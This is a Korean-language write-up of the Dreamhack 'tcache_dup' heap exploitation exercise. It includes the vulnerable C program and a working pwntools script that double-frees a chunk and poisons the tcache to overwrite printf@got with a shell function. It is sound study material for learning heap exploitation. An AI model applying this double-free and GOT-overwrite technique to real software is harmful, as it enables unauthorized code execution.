문제분석
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
- double free 가 발생한다면 tcache poisoning을 통해 특정 got를 get_sehll 주소롤 덮어씌움
exploit
from pwn import *
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote("host1.dreamhack.games", 22915)
else:
p = process("./tcache_dup",env={"LD_PRELOAD": "./libc-2.27.so"})
e = ELF("./tcache_dup",checksec=False)
printf_got = e.got["printf"]
get_shell = e.symbols["get_shell"]
pause()
p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ","aa")
p.sendlineafter("> ","2")
p.sendlineafter(": ","0")
p.sendlineafter("> ","2")
p.sendlineafter(": ","0")
p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ",p64(printf_got))
p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ","aa")
p.sendlineafter("> ","1")
p.sendlineafter(": ","20")
p.sendafter(": ",p64(get_shell))
p.interactive()
- 출력함수로 printf를 사용하므로 printf@got를 overwrite
- 첫 번째로 20크기의 청크를 할당한 후에 해당 청크를 두번 free 해줌으로써 double free 발생
- 같은 크기의 청크를 재할당하면서 freelist에 있는 fd에 printf@got 주소를 overwrite
- 같은 크기를 한번 더 할당하면 freelist는 비어있게 됨
- 여기서 한 번 더 할당한다면 fd에 적힌 printf@got 주소로 힙 청크 할당
- 그 후 해당 주소에 get_shell 주소 overwrite
의문점
- 예전에 공부할 때는 청크를 마지막으로 할당할 때(get_shell을 overwrite 할 때) 덮어쓸 주소에 -16을 해야된다고 공부했다.
- 그 이유는 할당된 힙 청크의 경우 prev_size(8bytes), size(8bytes), data 순서이기 때문에 할당받는 주소의 기준이 prev_size의 출발 부분이라고 생각했다. 따라서 printf@got의 주소로 할당받는다면 printf@got+16 주소에 overwrite 되기 때문에 printf@got-16 주소에 할당받아야 된다고 생각했다.
- 하지만 실제로 데이터를 쓰는 부분은 할당받는 주소였기 때문에 -16 할 필요 없이 그 주소를 사용하면 된다.(c코드 예제에서 배열 인덱스로 overwrite 하는 것으로 공부해서 달랐던 것 같다.)